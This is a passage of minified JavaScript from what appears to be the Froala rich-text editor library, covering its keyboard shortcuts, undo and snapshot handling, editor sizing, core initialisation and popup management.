b(){S.el.addEventListener("copy",e),S.el.addEventListener("cut",e),S.el.addEventListener("paste",t,{capture:!0}),S.events.on("drop",d),S.browser.msie&&S.browser.version<11&&(S.events.on("mouseup",function(e){2===e.button&&(setTimeout(function(){n=!1},50),n=!0)},!0),S.events.on("beforepaste",t)),S.events.on("destroy",v)},cleanEmptyTagsAndDivs:O,getRtfClipboard:function C(){return o},saveCopiedText:r,clean:g,replaceNewLines:u}},Object.assign(kt.DEFAULTS,{shortcutsEnabled:[],shortcutsHint:!0}),kt.SHORTCUTS_MAP={},kt.RegisterShortcut=function(e,t,n,r,a,o){kt.SHORTCUTS_MAP[(a?"^":"")+(o?"@":"")+e]={cmd:t,val:n,letter:r,shift:a,option:o},kt.DEFAULTS.shortcutsEnabled.push(t)},kt.RegisterShortcut(kt.KEYCODE.E,"show",null,"E",!1,!1),kt.RegisterShortcut(kt.KEYCODE.B,"bold",null,"B",!1,!1),kt.RegisterShortcut(kt.KEYCODE.I,"italic",null,"I",!1,!1),kt.RegisterShortcut(kt.KEYCODE.U,"underline",null,"U",!1,!1),kt.RegisterShortcut(kt.KEYCODE.S,"strikeThrough",null,"S",!1,!1),kt.RegisterShortcut(kt.KEYCODE.CLOSE_SQUARE_BRACKET,"indent",null,"]",!1,!1),kt.RegisterShortcut(kt.KEYCODE.OPEN_SQUARE_BRACKET,"outdent",null,"[",!1,!1),kt.RegisterShortcut(kt.KEYCODE.Z,"undo",null,"Z",!1,!1),kt.RegisterShortcut(kt.KEYCODE.Z,"redo",null,"Z",!0,!1),kt.RegisterShortcut(kt.KEYCODE.Y,"redo",null,"Y",!1,!1),kt.MODULES.shortcuts=function(s){var r=null;var l=!1;function e(e){if(!s.core.hasFocus())return!0;var t=e.which,n=-1!==navigator.userAgent.indexOf("Mac OS X")?e.metaKey:e.ctrlKey;if("keyup"===e.type&&l&&t!==kt.KEYCODE.META)return l=!1;"keydown"===e.type&&(l=!1);var r=(e.shiftKey?"^":"")+(e.altKey?"@":"")+t,a=s.node.blockParent(s.selection.blocks()[0]);if(a&&"TR"==a.tagName&&a.getAttribute("contenteditable")==undefined&&(a=a.closest("table")),n&&kt.SHORTCUTS_MAP[r]&&(!a||"false"!==a.getAttribute("contenteditable"))){var o=kt.SHORTCUTS_MAP[r].cmd;if(o&&0<=s.opts.shortcutsEnabled.indexOf(o)){var i=kt.SHORTCUTS_MAP[r].val;if(!1===s.events.trigger("shortcut",[e,o,i]))return!(l=!0);if(o&&(s.commands[o]||kt.COMMANDS[o]&&kt.COMMANDS[o].callback))return e.preventDefault(),e.stopPropagation(),"keydown"===e.type&&((s.commands[o]||kt.COMMANDS[o].callback)(),l=!0),!1}}}return{_init:function t(){s.events.on("keydown",e,!0),s.events.on("keyup",e,!0)},get:function a(e){if(!s.opts.shortcutsHint)return null;if(!r)for(var t in r={},kt.SHORTCUTS_MAP)Object.prototype.hasOwnProperty.call(kt.SHORTCUTS_MAP,t)&&0<=s.opts.shortcutsEnabled.indexOf(kt.SHORTCUTS_MAP[t].cmd)&&(r["".concat(kt.SHORTCUTS_MAP[t].cmd,".").concat(kt.SHORTCUTS_MAP[t].val||"")]={shift:kt.SHORTCUTS_MAP[t].shift,option:kt.SHORTCUTS_MAP[t].option,letter:kt.SHORTCUTS_MAP[t].letter});var n=r[e];return n?(s.helpers.isMac()?String.fromCharCode(8984):"".concat(s.language.translate("Ctrl"),"+"))+(n.shift?s.helpers.isMac()?String.fromCharCode(8679):"".concat(s.language.translate("Shift"),"+"):"")+(n.option?s.helpers.isMac()?String.fromCharCode(8997):"".concat(s.language.translate("Alt"),"+"):"")+n.letter:null}}},kt.MODULES.snapshot=function(l){function n(e){for(var t=e.parentNode.childNodes,n=0,r=null,a=0;a<t.length;a++){if(r){var o=t[a].nodeType===Node.TEXT_NODE&&""===t[a].textContent,i=r.nodeType===Node.TEXT_NODE&&t[a].nodeType===Node.TEXT_NODE,s=r.nodeType===Node.TEXT_NODE&&""===r.textContent;o||i||s||n++}if(t[a]===e)return n;r=t[a]}}function a(e){var t=[];if(!e.parentNode)return[];for(;!l.node.isElement(e);)t.push(n(e)),e=e.parentNode;return t.reverse()}function o(e,t){for(;e&&e.nodeType===Node.TEXT_NODE;){var n=e.previousSibling;n&&n.nodeType===Node.TEXT_NODE&&(t+=n.textContent.length),e=n}return t}function c(e){for(var t=l.el,n=0;n<e.length;n++)t=t.childNodes[e[n]];return t}function r(e,t){try{var n=c(t.scLoc),r=t.scOffset,a=c(t.ecLoc),o=t.ecOffset,i=l.doc.createRange();i.setStart(n,r),i.setEnd(a,o),e.addRange(i)}catch(s){}}return{get:function i(){var e,t={};if(l.events.trigger("snapshot.before"),t.html=(l.$wp?l.$el.html():l.$oel.get(0).outerHTML).replace(/ style=""/g,""),t.ranges=[],l.$wp&&l.selection.inEditor()&&l.core.hasFocus())for(var n=l.selection.ranges(),r=0;r<n.length;r++)t.ranges.push({scLoc:a((e=n[r]).startContainer),scOffset:o(e.startContainer,e.startOffset),ecLoc:a(e.endContainer),ecOffset:o(e.endContainer,e.endOffset)});return l.events.trigger("snapshot.after",[t]),t},restore:function s(e){l.$el.html()!==e.html&&(l.opts.htmlExecuteScripts?l.$el.html(e.html):l.el.innerHTML=e.html);var t=l.selection.get();l.selection.clear(),l.events.focus(!0);for(var n=0;n<e.ranges.length;n++)r(t,e.ranges[n])},equal:function d(e,t){return e.html===t.html&&(!l.core.hasFocus()||JSON.stringify(e.ranges)===JSON.stringify(t.ranges))}}},kt.MODULES.undo=function(n){function e(e){var t=e.which;n.keys.ctrlKey(e)&&(t===kt.KEYCODE.Z&&e.shiftKey&&e.preventDefault(),t===kt.KEYCODE.Z&&e.preventDefault())}var t=null;function r(){if(n.undo_stack&&!n.undoing)for(;n.undo_stack.length>n.undo_index;)n.undo_stack.pop()}function a(){n.undo_index=0,n.undo_stack=[]}function o(){n.undo_stack=[]}return{_init:function i(){a(),n.events.on("initialized",function(){t=(n.$wp?n.$el.html():n.$oel.get(0).outerHTML).replace(/ style=""/g,"")}),n.events.on("blur",function(){n.el.querySelector(".fr-dragging")||n.undo.saveStep()}),n.events.on("keydown",e),n.events.on("destroy",o)},run:function s(){if(1<n.undo_index){n.undoing=!0;var e=n.undo_stack[--n.undo_index-1];clearTimeout(n._content_changed_timer),n.snapshot.restore(e),t=e.html,n.popups.hideAll(),n.toolbar.enable(),n.events.trigger("contentChanged"),n.events.trigger("commands.undo"),n.undoing=!1,n.selection.restore()}},redo:function l(){if(n.undo_index<n.undo_stack.length){n.undoing=!0;var e=n.undo_stack[n.undo_index++];clearTimeout(n._content_changed_timer),n.snapshot.restore(e),t=e.html,n.popups.hideAll(),n.toolbar.enable(),n.events.trigger("contentChanged"),n.events.trigger("commands.redo"),n.undoing=!1}},canDo:function c(){return!(0===n.undo_stack.length||n.undo_index<=1)},canRedo:function d(){return n.undo_index!==n.undo_stack.length},dropRedo:r,reset:a,saveStep:function f(e){if(!(!n.undo_stack||n.undoing||n.el.querySelector(".fr-marker")||n.el.querySelector(".fr-marker")&&n.opts.iframe&&n.markdown&&!n.markdown.isEnabled()))if(void 0===e){if((e=n.snapshot.get())&&e.html&&n.undo_stack[n.undo_stack.length-1]&&e.html===n.undo_stack[n.undo_stack.length-1].html)return;n.undo_stack[n.undo_index-1]&&n.snapshot.equal(n.undo_stack[n.undo_index-1],e)||(r(),n.undo_stack.push(e),n.undo_index++,function a(e,t){var n=t.split("fr-selected-cell").join("");n=n.split(' class=""').join("");var r=e.split("fr-selected-cell").join("");return n===(r=r.split(' class=""').join(""))}(t,e.html)||(n.events.trigger("contentChanged"),t=e.html))}else r(),0<n.undo_index?n.undo_stack[n.undo_index-1]=e:(n.undo_stack.push(e),n.undo_index++)}}},Object.assign(kt.DEFAULTS,{height:null,heightMax:null,heightMin:null,width:null}),kt.MODULES.size=function(r){function e(){a(),r.opts.height&&r.$el.css("minHeight",r.opts.height-r.helpers.getPX(r.$el.css("padding-top"))-r.helpers.getPX(r.$el.css("padding-bottom")));var e=!1;if(r.opts.fullPage)for(var t=r.$el.find("span,p,div"),n=0;n<t.length;n++)if(t[n].style.height&&t[n].style.height.includes("vh")){e=!0;break}r.opts.fullPage&&e&&(r.opts.heightMin&&r.$iframe.css("minHeight",r.opts.heightMin),r.opts.heightMax&&r.$iframe.css("maxHeight",r.opts.heightMax),r.$el.css("overflow-y","auto")),r.opts.iframe&&r.markdown&&r.markdown.isEnabled()?r.$iframe.height(r.$wp.parent().outerHeight(!0)):r.$iframe.height(r.$el.outerHeight(!0))}function a(){r.opts.heightMin?r.$el.css("minHeight",r.opts.heightMin):r.$el.css("minHeight",""),r.opts.heightMax?(r.$wp.css("maxHeight",r.opts.heightMax),r.$wp.css("overflow","auto")):(r.$wp.css("maxHeight",""),r.$wp.css("overflow","")),r.opts.height?(r.$wp.css("height",r.opts.height),r.$wp.css("overflow","auto"),r.$el.css("minHeight",r.opts.height-r.helpers.getPX(r.$el.css("padding-top"))-r.helpers.getPX(r.$el.css("padding-bottom")))):(r.$wp.css("height",""),r.opts.heightMin||r.$el.css("minHeight",""),r.opts.heightMax||r.$wp.css("overflow","")),r.opts.width&&r.$box.width(r.opts.width)}return{_init:function t(){if(!r.$wp)return!1;a(),r.$iframe&&(r.events.on("keyup keydown",function(){setTimeout(e,0)},!0),r.events.on("commands.after html.set init initialized paste.after",e))},syncIframe:e,refresh:a}},Object.assign(kt.DEFAULTS,{documentReady:!1,editorClass:null,typingTimer:500,iframe:!1,requestWithCORS:!0,requestWithCredentials:!1,requestHeaders:{},useClasses:!0,spellcheck:!0,iframeDefaultStyle:'html{margin:0px;height:auto;}body{height:auto;padding:20px;background:transparent;color:#000000;position:relative;z-index: 2;-webkit-user-select:auto;margin:0px;overflow:hidden;min-height:20px;}body:after{content:"";display:block;clear:both;}body::-moz-selection{background:#b5d6fd;color:#000;}body::selection{background:#b5d6fd;color:#000;}',iframeStyle:"",iframeStyleFiles:[],direction:"auto",zIndex:1,tabIndex:null,disableRightClick:!1,scrollableContainer:"body",keepFormatOnDelete:!1,theme:null}),kt.MODULES.core=function(l){var c=l.$;function n(){if(l.$box.addClass("fr-box".concat(l.opts.editorClass?" ".concat(l.opts.editorClass):"")),l.$box.attr("role","application"),l.$wp.addClass("fr-wrapper"),l.opts.documentReady&&l.$box.addClass("fr-document"),function i(){l.opts.iframe||l.$el.addClass("fr-element fr-view");var e=l.opts.fontSizeDefaultSelection&&l.opts.fontSizeUnit&&"Font Size"!=l.opts.fontSizeDefaultSelection,t=l.opts.fontFamilyDefaultSelection&&"Font Family"!=l.opts.fontFamilyDefaultSelection;if(e||t){var n="";if(e){var r="pt"===l.opts.fontSizeUnit?Math.round(72*parseFloat(l.opts.fontSizeDefaultSelection,10)/96):l.opts.fontSizeDefaultSelection;n+="font-size: ".concat(r).concat(l.opts.fontSizeUnit,"; ")}if(t&&(n+="font-family: ".concat(l.opts.fontFamilyDefaultSelection,";")),1==l.opts.iframe)l.opts.iframeStyle+="body p, div, ol, ul, table { ".concat(n," }");else{var a=c(document.getElementById("default-styles")),o="default-styles-".concat(l.id);n=".fr-box .".concat(o," p, .fr-box .").concat(o," div, .fr-box .").concat(o," table, .fr-box .").concat(o," ol, .fr-box .").concat(o," ul{ ").concat(n," }"),0==a.length&&(a=c(document.createElement("style")).attr("id","default-styles"),c("head").append(a)),a.append(n),c("head").append(a),l.$el.addClass(o)}}(l.opts.height&&l.opts.height<window.innerHeight||l.opts.heightMax&&l.opts.heightMax<window.innerHeight)&&l.$el.addClass("fr-element-scroll-visible")}(),l.opts.iframe){l.$iframe.addClass("fr-iframe"),l.$el.addClass("fr-view");for(var e=0;e<l.o_doc.styleSheets.length;e++){var t=void 0,n=!1;try{t=l.o_doc.styleSheets[e].cssRules}catch(s){}if(l.o_doc.styleSheets[e].href&&(-1<l.o_doc.styleSheets[e].href.indexOf("codemirror")||-1<l.o_doc.styleSheets[e].href.indexOf("font-awesome"))&&(n=!(t=null)),t)for(var r=0,a=t.length;r<a;r++)if(!t[r].selectorText||0!==t[r].selectorText.indexOf(".fr-view")&&0!==t[r].selectorText.indexOf(".fr-element")&&0!==t[r].selectorText.indexOf(".fr-box.fr-basic .fr-element")&&0!==t[r].selectorText.indexOf(".fr-markdown-view")&&0!==t[r].selectorText.indexOf(".fr-markdown-editor")&&0!==t[r].selectorText.indexOf(".fr-wrapper-markdown")&&0!==t[r].selectorText.indexOf(".gutter-horizontal")&&0!==t[r].selectorText.indexOf(".e-resize-handler"))try{n&&l.o_doc.styleSheets[e].href&&t[r].selectorText&&(l.opts.iframeStyle+="".concat(t[r].selectorText,"{").concat(t[r].style.cssText,"}"),n=!1)}catch(s){}else 0<t[r].style.cssText.length&&(0===t[r].selectorText.indexOf(".fr-box.fr-basic .fr-element")&&(l.opts.iframeStyle+="".concat(t[r].selectorText,"{").concat(t[r].style.cssText,"}")),0===t[r].selectorText.indexOf(".fr-view")?l.opts.iframeStyle+="".concat(t[r].selectorText.replace(/\.fr-view/g,"body"),"{").concat(t[r].style.cssText,"}"):l.opts.iframeStyle+="".concat(t[r].selectorText.replace(/\.fr-element/g,"body"),"{").concat(t[r].style.cssText,"}"));else if(l.o_doc.styleSheets[e].href&&(-1<l.o_doc.styleSheets[e].href.indexOf("codemirror")||-1<l.o_doc.styleSheets[e].href.indexOf("font-awesome")||-1<l.o_doc.styleSheets[e].href.indexOf("froala-editor"))){var o=c("<link rel='stylesheet' type='text/css' href='".concat(l.o_doc.styleSheets[e].href,"'>"));l.$head.append(o)}}}"auto"!==l.opts.direction&&l.$box.removeClass("fr-ltr fr-rtl").addClass("fr-".concat(l.opts.direction)),l.$el.attr("dir",l.opts.direction),l.$wp.attr("dir",l.opts.direction),1<l.opts.zIndex&&l.$box.css("z-index",l.opts.zIndex),l.opts.theme&&l.$box.addClass("".concat(l.opts.theme,"-theme")),l.opts.tabIndex=l.opts.tabIndex||l.$oel.attr("tabIndex"),l.opts.tabIndex&&l.$el.attr("tabIndex",l.opts.tabIndex)}return{_init:function r(){if(kt.INSTANCES.push(l),function e(){l.drag_support={filereader:"undefined"!=typeof FileReader,formdata:Boolean(l.win.FormData),progress:"upload"in new XMLHttpRequest}}(),l.$wp){n(),l.html.set(l._original_html),l.$el.attr("spellcheck",l.opts.spellcheck),l.helpers.isMobile()&&(l.$el.attr("autocomplete",l.opts.spellcheck?"on":"off"),l.$el.attr("autocorrect",l.opts.spellcheck?"on":"off"),l.$el.attr("autocapitalize",l.opts.spellcheck?"on":"off")),l.opts.disableRightClick&&l.events.$on(l.$el,"contextmenu",function(e){if(2===e.button)return e.preventDefault(),e.stopPropagation(),!1});try{l.doc.execCommand("styleWithCSS",!1,!1)}catch(t){}}"TEXTAREA"===l.$oel.get(0).tagName&&(l.events.on("contentChanged",function(){l.$oel.val(l.html.get())}),l.events.on("form.submit",function(){l.$oel.val(l.html.get())}),l.events.on("form.reset",function(){l.html.set(l._original_html)}),l.$oel.val(l.html.get())),l.helpers.isIOS()&&l.events.$on(l.$doc,"selectionchange",function(){l.$doc.get(0).hasFocus()||l.$win.get(0).focus()}),l.events.trigger("init"),l.opts.autofocus&&!l.opts.initOnClick&&l.$wp&&l.events.on("initialized",function(){l.events.focus(!0)})},destroy:function a(e){"TEXTAREA"===l.$oel.get(0).tagName&&l.$oel.val(e),l.$box&&l.$box.removeAttr("role"),l.$wp&&("TEXTAREA"===l.$oel.get(0).tagName?(l.$el.html(""),l.$wp.html(""),l.$box.replaceWith(l.$oel),l.$oel.show()):(l.$wp.replaceWith(e),l.$el.html(""),l.$box.removeClass("fr-view fr-ltr fr-box ".concat(l.opts.editorClass||"")),l.opts.theme&&l.$box.addClass("".concat(l.opts.theme,"-theme"))));var t=document.getElementById("default-styles");t&&t.childNodes.forEach(function(e){1<=e.data.search("default-styles-".concat(l.id))&&t.removeChild(e)}),this.$wp=null,this.$el=null,this.el=null,this.$box=null},isEmpty:function e(){return l.node.isEmpty(l.el)},getXHR:function o(e,t){var n=new XMLHttpRequest;for(var r in n.open(t,e,!0),l.opts.requestWithCredentials&&(n.withCredentials=!0),l.opts.requestHeaders)Object.prototype.hasOwnProperty.call(l.opts.requestHeaders,r)&&n.setRequestHeader(r,l.opts.requestHeaders[r]);return n},injectStyle:function i(e){if(l.opts.iframe){l.$head.find("style[data-fr-style], link[data-fr-style]").remove(),l.$head.append('<style data-fr-style="true">'.concat(e,"</style>"));for(var t=0;t<l.opts.iframeStyleFiles.length;t++){var n=c('<link data-fr-style="true" rel="stylesheet" href="'.concat(l.opts.iframeStyleFiles[t],'">'));n.get(0).addEventListener("load",l.size.syncIframe),l.$head.append(n)}}},hasFocus:function t(){return l.browser.mozilla&&l.helpers.isMobile()?l.selection.inEditor():l.node.hasFocus(l.el)||0<l.$el.find("*:focus").length},sameInstance:function s(e){if(!e)return!1;var t=e.data("instance");return!!t&&t.id===l.id}}},kt.POPUP_TEMPLATES={"text.edit":"[_EDIT_]"},kt.RegisterTemplate=function(e,t){kt.POPUP_TEMPLATES[e]=t},kt.MODULES.popups=function(u){var r,d=u.$;u.shared.popups||(u.shared.popups={});var h,g=u.shared.popups;function m(e,t){t.isVisible()||(t=u.$sc),t.is(g[e].data("container"))||(g[e].data("container",t),t.append(g[e]))}function a(e){var t;e.find(".fr-upload-progress").addClass("fr-height-set"),e.find(".fr-upload-progress").removeClass("fr-height-auto"),u.popups.get("filesManager.insert").removeClass("fr-height-auto"),e.find(".fr-files-upload-layer").hasClass("fr-active")&&(t=1),e.find(".fr-files-by-url-layer").hasClass("fr-active")&&(t=2),e.find(".fr-files-embed-layer").hasClass("fr-active")&&(t=3),e.find(".fr-upload-progress-layer").get(0).clientHeight+10<e.find(".fr-upload-progress").get(0).clientHeight&&e.find(".fr-upload-progress").addClass("fr-height-auto"),400<e[0].clientHeight&&(e[0].childNodes[4].style.height="".concat(e[0].clientHeight-(e[0].childNodes[0].clientHeight+e[0].childNodes[t].clientHeight)-80,"px"))}var o=2e3;function i(){d(this).toggleClass("fr-not-empty",!0)}function s(){var e=d(this);e.toggleClass("fr-not-empty",""!==e.val())}function v(e){return g[e]&&u.node.hasClass(g[e],"fr-active")&&u.core.sameInstance(g[e])||!1}function b(e){for(var t in g)if(Object.prototype.hasOwnProperty.call(g,t)&&v(t)&&(void 0===e||g[t].data("instance")===e))return g[t];return!1}function n(e){var t=null;if(t="string"!=typeof e?e:g[e],"filesManager.insert"===e&&u.filesManager!==undefined&&u.filesManager.isChildWindowOpen())return!1;if(t&&u.node.hasClass(t,"fr-active")&&(t.removeClass("fr-active fr-above"),u.events.trigger("popups.hide.".concat(e)),u.$tb&&(1<u.opts.zIndex?u.$tb.css("zIndex",u.opts.zIndex+1):u.$tb.css("zIndex","")),u.events.disableBlur(),t.find("input, textarea, button").each(function(){this===this.ownerDocument.activeElement&&this.blur()}),t.find("input, textarea").attr("disabled","disabled"),h))for(var n=0;n<h.length;n++)d(h[n]).removeClass("fr-btn-active-popup")}function C(e){for(var t in void 0===e&&(e=[]),g)Object.prototype.hasOwnProperty.call(g,t)&&e.indexOf(t)<0&&n(t)}function t(){u.shared.exit_flag=!0}function E(){u.shared.exit_flag=!1}function l(){return u.shared.exit_flag}function c(e,t){var n,r=function c(e,t){var n=kt.POPUP_TEMPLATES[e];if(!n)return null;for(var r in"function"==typeof n&&(n=n.apply(u)),t)Object.prototype.hasOwnProperty.call(t,r)&&(n=n.replace("[_".concat(r.toUpperCase(),"_]"),t[r]));return n}(e,t),a=d(u.doc.createElement("DIV"));if(!r)return"filesManager.insert"===e?a.addClass("fr-popup fr-files-manager fr-empty"):a.addClass("fr-popup fr-empty"),(n=d("body").first()).append(a),a.data("container",n),g[e]=a;"filesManager.insert"===e?a.addClass("fr-popup fr-files-manager".concat(u.helpers.isMobile()?" fr-mobile":" fr-desktop").concat(u.opts.toolbarInline?" fr-inline":"")):a.addClass("fr-popup".concat(u.helpers.isMobile()?" fr-mobile":" fr-desktop").concat(u.opts.toolbarInline?" fr-inline":"")),a.html(r),u.opts.theme&&a.addClass("".concat(u.opts.theme,"-theme")),1<u.opts.zIndex&&(!u.opts.editInPopup&&u.$tb?u.$tb.css("z-index",u.opts.zIndex+2):a.css("z-index",u.opts.zIndex+2)),"auto"!==u.opts.direction&&a.removeClass("fr-ltr fr-rtl").addClass("fr-".concat(u.opts.direction)),a.find("input, textarea").attr("dir",u.opts.direction).attr("disabled","disabled"),(n=d("body").first()).append(a),a.data("container",n);var o=(g[e]=a).find(".fr-color-hex-layer");if(0<o.length){var i=u.helpers.getPX(a.find(".fr-color-set > span").css("width")),s=u.helpers.getPX(o.css("paddingLeft")),l=u.helpers.getPX(o.css("paddingRight"));o.css("width",i*u.opts.colorsStep+s+l)}return u.button.bindCommands(a,!1),a}function y(i){var s=g[i];return{_windowResize:function(){var e=s.data("instance")||u;if(!e.helpers.isMobile()&&s.isVisible()){var t=s.find(".fr-file-progress-bar-layer");if("file.insert"===i&&0<t.length&&t.hasClass("fr-active")){var n=u.$tb.find('.fr-command[data-cmd="insertFile"]');e.events.disableBlur();var r=u.button.getPosition(n),a=r.left,o=r.top;u.position.at(a,o,g[i],0),e.events.enableBlur()}else e.events.disableBlur(),e.popups.hide(i),e.events.enableBlur()}},_inputFocus:function(e){var t=s.data("instance")||u,n=d(e.currentTarget);if(n.is("input:file")&&n.closest(".fr-layer").addClass("fr-input-focus"),e.preventDefault(),e.stopPropagation(),setTimeout(function(){t.events.enableBlur()},100),t.helpers.isMobile()){var r=d(t.o_win).scrollTop();setTimeout(function(){d(t.o_win).scrollTop(r)},0)}},_inputBlur:function(e){var t=s.data("instance")||u,n=d(e.currentTarget);n.is("input:file")&&n.closest(".fr-layer").removeClass("fr-input-focus"),document.activeElement!==this&&d(this).isVisible()&&(t.events.blurActive()&&t.events.trigger("blur"),t.events.enableBlur())},_editorKeydown:function(e){var t=s.data("instance")||u;t.keys.ctrlKey(e)||e.which===kt.KEYCODE.ALT||e.which===kt.KEYCODE.ESC||(v(i)&&s.findVisible(".fr-back").length?t.button.exec(s.findVisible(".fr-back").first()):e.which!==kt.KEYCODE.ALT&&t.popups.hide(i))},_preventFocus:function(e){var t=s.data("instance")||u,n=e.originalEvent?e.originalEvent.target||e.originalEvent.originalTarget:null;"mouseup"===e.type||d(n).is(":focus")||t.events.disableBlur(),"mouseup"!==e.type||d(n).hasClass("fr-command")||0<d(n).parents(".fr-command").length||d(n).hasClass("fr-dropdown-content")||d(n).hasClass("fr-dropdown-menu")||u.button.hideActiveDropdowns(s),(u.browser.safari||u.browser.mozilla)&&"mousedown"===e.type&&d(n).is("input[type=file]")&&t.events.disableBlur();var r="input, textarea, button, select, label, .fr-command";if(n&&!d(n).is(r)&&0===d(n).parents(r).length)return e.stopPropagation(),!1;n&&d(n).is(r)&&e.stopPropagation(),E()},_editorMouseup:function(){s.isVisible()&&l()&&0<s.findVisible("input:focus, textarea:focus, button:focus, select:focus").length&&u.events.disableBlur()},_windowMouseup:function(e){if(!u.core.sameInstance(s))return!0;var t=s.data("instance")||u;s.isVisible()&&l()&&(e.stopPropagation(),t.markers.remove(),t.popups.hide(i),E())},_windowKeydown:function(e){if(!u.core.sameInstance(s))return!0;var t=s.data("instance")||u,n=e.which;if(kt.KEYCODE.ESC===n){if(t.popups.isVisible(i)&&t.opts.toolbarInline)return e.stopPropagation(),t.popups.isVisible(i)&&(s.findVisible(".fr-back").length?(t.button.exec(s.findVisible(".fr-back").first()),t.accessibility.focusPopupButton(s)):s.findVisible(".fr-dismiss").length?t.button.exec(s.findVisible(".fr-dismiss").first()):(t.popups.hide(i),t.toolbar.showInline(null,!0),t.accessibility.focusPopupButton(s))),!1;if(t.popups.isVisible(i))return s.findVisible(".fr-back").length?(t.button.exec(s.findVisible(".fr-back").first),t.accessibility.focusPopupButton(s)):s.findVisible(".fr-dismiss").length?t.button.exec(s.findVisible(".fr-dismiss").first()):(t.popups.hide(i),t.accessibility.focusPopupButton(s)),!1}},_repositionPopup:function(){if(!u.opts.height&&!u.opts.heightMax||u.opts.toolbarInline)return!0;if(u.$wp&&v(i)&&s.parent().get(0)===u.$sc.get(0)){var e=s.offset().top-u.$wp.offset().top,t=u.$wp.outerHeight();u.node.hasClass(s.get(0),"fr-above")&&(e+=s.outerHeight()),t<e||e<0?s.addClass("fr-hidden"):s.removeClass("fr-hidden")}},handleWindowClick:function(e){if(!u.core.sameInstance(s))return!0;var t=s.data("instance")||u;s.isVisible()&&e.target&&(0<d(e.target).find("body").length||"BODY"===d(e.target)[0].tagName)&&(e.stopPropagation(),t.popups.hide(i))}}}function f(e,t){u.events.on("mouseup",e._editorMouseup,!0),u.$wp&&u.events.on("keydown",e._editorKeydown),u.events.on("focus",function(){g[t].removeClass("focused")}),u.events.on("blur",function(){b()&&u.markers.remove(),u.helpers.isMobile()?g[t].hasClass("focused")?(C(),g[t].removeClass("focused")):g[t].addClass("focused"):g[t].find("iframe").length||C()}),u.$wp&&!u.helpers.isMobile()&&u.events.$on(u.$wp,"scroll.popup".concat(t),e._repositionPopup),u.events.on("window.mouseup",e._windowMouseup,!0),u.events.on("window.keydown",e._windowKeydown,!0),u.opts.iframe&&window.addEventListener("click",e.handleWindowClick),g[t].data("inst".concat(u.id),!0),u.events.on("destroy",function(){u.core.sameInstance(g[t])&&(d("body").first().append(g[t]),g[t].removeClass("fr-active"))},!0)}function p(){var e=d(this).prev().children().first();e.attr("checked",!e.attr("checked"))}function e(){for(var e in g)if(Object.prototype.hasOwnProperty.call(g,e)){var t=g[e];t&&(t.html("").removeData().remove(),g[e]=null)}g=[]}return u.shared.exit_flag=!1,{_init:function L(){r=window.innerHeight,u.events.on("shared.destroy",e,!0),u.events.on("window.mousedown",t),u.events.on("window.touchmove",E),u.events.$on(d(u.o_win),"scroll",E),u.events.on("mousedown",function(e){b()&&(e.stopPropagation(),u.$el.find(".fr-marker").remove(),t(),u.events.disableBlur())})},create:function T(e,t){var n=c(e,t),r=y(e);f(r,e),u.events.$on(n,"mousedown mouseup touchstart touchend touch","*",r._preventFocus,!0),u.events.$on(n,"focus","input, textarea, button, select",r._inputFocus,!0),u.events.$on(n,"blur","input, textarea, button, select",r._inputBlur,!0);var a=n.find("input, textarea");return function o(e){for(var t=0;t<e.length;t++){var n=e[t],r=d(n);0===r.next().length&&r.attr("placeholder")&&(r.after('<label for="'.concat(r.attr("id"),'">').concat(r.attr("placeholder"),"</label>")),r.attr("placeholder",""))}}(a),u.events.$on(a,"focus",i),u.events.$on(a,"blur change",s),u.events.$on(n,"click",".fr-checkbox + label",p),u.accessibility.registerPopup(e),u.helpers.isIOS()&&u.events.$on(n,"touchend","label",function(){d("#".concat(d(this).attr("for"))).prop("checked",function(e,t){return!t})},!0),u.events.$on(d(u.o_win),"resize",r._windowResize,!0),"filesManager.insert"===e&&g["filesManager.insert"].css("zIndex",2147483641),n},get:function w(e){var t=g[e];return t&&!t.data("inst".concat(u.id))&&f(y(e),e),t},show:function A(e,t,n,r,a){if(v(e)||(b()&&0<u.$el.find(".fr-marker").length?(u.events.disableBlur(),u.selection.restore()):b()||(u.events.disableBlur(),u.events.focus(),u.events.enableBlur())),C([e]),!g[e])return!1;var o=u.button.getButtons(".fr-dropdown.fr-active");o.removeClass("fr-active").attr("aria-expanded",!1).parents(".fr-toolbar").css("zIndex","").find("> .fr-dropdown-wrapper").css("height",""),o.next().attr("aria-hidden",!0).css("overflow","").find("> .fr-dropdown-wrapper").css("height",""),g[e].data("instance",u),u.$tb&&u.$tb.data("instance",u);var i=v(e);g[e].addClass("fr-active").removeClass("fr-hidden").find("input, textarea").removeAttr("disabled");var s=g[e].data("container");if(function p(e,t){t.isVisible()||(t=u.$sc),t.contains([g[e].get(0)])||t.append(g[e])}(e,s),u.opts.toolbarInline&&s&&u.$tb&&s.get(0)===u.$tb.get(0)&&(m(e,u.$sc),n=u.$tb.offset().top-u.helpers.getPX(u.$tb.css("margin-top")),t=u.$tb.offset().left+u.$tb.outerWidth()/2,u.node.hasClass(u.$tb.get(0),"fr-above")&&n&&(n+=u.$tb.outerHeight()),r=0),s=g[e].data("container"),u.opts.iframe&&!r&&!i){var l=u.helpers.getPX(u.$wp.find(".fr-iframe").css("padding-top")),c=u.helpers.getPX(u.$wp.find(".fr-iframe").css("padding-left"));t&&(t-=u.$iframe.offset().left+c),n&&(n-=u.$iframe.offset().top+l)}s.is(u.$tb)?u.$tb.css("zIndex",(u.opts.zIndex||1)+4):g[e].css("zIndex",(u.opts.zIndex||1)+3),u.opts.toolbarBottom&&s&&u.$tb&&s.get(0)===u.$tb.get(0)&&(g[e].addClass("fr-above"),n&&(n-=g[e].outerHeight())),a&&(t-=g[e].width()/2),t+g[e].outerWidth()>u.$sc.offset().left+u.$sc.width()&&(t-=t+g[e].outerWidth()-u.$sc.offset().left-u.$sc.width()),t<u.$sc.offset().left&&"rtl"===u.opts.direction&&(t=u.$sc.offset().left),g[e].removeClass("fr-active"),u.position.at(t,n,g[e],r||0);var d=u.node.blockParent(u.selection.blocks()[0]);if(d&&"false"===d.getAttribute("contenteditable"))g[e].removeClass("fr-active");else{var f=u.selection.element().parentElement.getAttribute("contenteditable");f&&"false"===f?g[e].removeClass("fr-active"):g[e].addClass("fr-active")}i||u.accessibility.focusPopup(g[e]),u.opts.toolbarInline&&u.toolbar.hide(),u.$tb&&(h=u.$tb.find(".fr-btn-active-popup")),u.events.trigger("popups.show.".concat(e)),y(e)._repositionPopup(),E()},hide:n,onHide:function _(e,t){u.events.on("popups.hide.".concat(e),t)},hideAll:C,setContainer:m,refresh:function S(e){g[e].data("instance",u),u.events.trigger("popups.refresh.".concat(e));for(var t=g[e].find(".fr-command"),n=0;n<t.length;n++){var 